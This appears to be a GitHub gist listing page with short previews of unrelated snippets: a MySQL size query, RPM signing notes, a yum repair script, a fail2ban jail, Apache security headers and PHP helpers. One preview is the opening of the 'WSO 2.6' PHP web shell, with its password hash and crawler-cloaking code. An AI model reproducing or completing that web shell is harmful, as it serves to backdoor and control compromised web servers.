This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- sql syntax calculate size satu database dalam byte | |
-- replace namadabase kepada real database name | |
SELECT sum( data_length + index_length ) as size FROM information_schema.TABLES where table_schema = 'namadatabase' GROUP BY table_schema |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# How to sign your custom RPM package with GPG key | |
# Step: 1 | |
# Generate gpg key pair (public key and private key) | |
# | |
# You will be prompted with a series of questions about encryption. | |
# Simply select the default values presented. You will also be asked | |
# to create a Real Name, Email Address and Comment (comment optional). | |
# | |
# If you get the following response: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
yum -y clean all | |
rm -f /var/lib/rpm/__db* | |
rpm --rebuilddb | |
yum -y update | |
exit 0; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* WSO 2.6 (Web Shell by stealthers.in) made by Death Burner*/ | |
$auth_pass = "df790633e08a4f758800728a652ffcfc"; | |
$color = "#87CEEB"; | |
$default_action = 'FilesMan'; | |
$default_use_ajax = true; | |
$default_charset = 'Windows-1251'; | |
if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# file /etc/fail2ban/jail.conf | |
[rutweb-badbot] | |
enabled = true | |
filter = rutweb-badbot | |
action = iptables-multiport[name=badbot, port="80,443"] | |
logpath = /var/log/httpd/badbot.log | |
bantime = 600 | |
maxretry = 1 | |
# end file |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function _array_map_recursive($func, $arr) { | |
$new = array(); | |
foreach($arr as $key => $value) { | |
$new[$key] = (is_array($value) ? _array_map_recursive($func, $value) : ( is_array($func) ? call_user_func_array($func, $value) : $func($value) ) ); | |
} | |
return $new; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<IfModule mod_headers.c> | |
#Header set X-Frame-Options sameorigin | |
Header set X-Content-Type-Options nosniff | |
Header set X-XSS-Protection '1; mode=block' | |
Header set X-Permitted-Cross-Domain-Policies 'master-only' | |
Header set Content-Security-Policy 'report-uri /csp_report_parser;' | |
#Header set Cache-Control 'no-cache, no-store, must-revalidate' | |
#Header set Pragma 'no-cache' | |
#Header set Expires '-1' | |
Header set Cache-Control 'public, max-age=2592000' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Remove any non-ASCII characters and convert known non-ASCII characters | |
* to their ASCII equivalents, if possible. | |
* | |
* @param string $string | |
* @return string $string | |
* @author Jay Williams <myd3.com> | |
* @license MIT License | |
* @link http://gist.github.com/119517 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function _noscript($str) { | |
if ( is_array($str) ) return $str; | |
$str = preg_replace( | |
array( | |
'#<\s*frameset[^>]*?>.*?<\s*/\s*frameset\s*>#si', | |
'#<\s*iframe[^>]*?>.*?<\s*/\s*iframe\s*>#si', | |
'#<\s*script[^>]*?>.*?<\s*/\s*script\s*>#si', | |
'#<\s*object[^>]*?>.*?<\s*/\s*object\s*>#si', | |
'#<\s*embed[^>]*?>.*?<\s*/\s*embed\s*>#si', | |
'#<\s*applet[^>]*?>.*?<\s*/\s*applet\s*>#si', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env php | |
<?php | |
/*! | |
* cssmin.php v2.4.8-4 | |
* Author: Tubal Martin - http://tubalmartin.me/ | |
* Repo: https://github.com/tubalmartin/YUI-CSS-compressor-PHP-port | |
* | |
* This is a PHP port of the CSS minification tool distributed with YUICompressor, | |
* itself a port of the cssmin utility by Isaac Schlueter - http://foohack.com/ |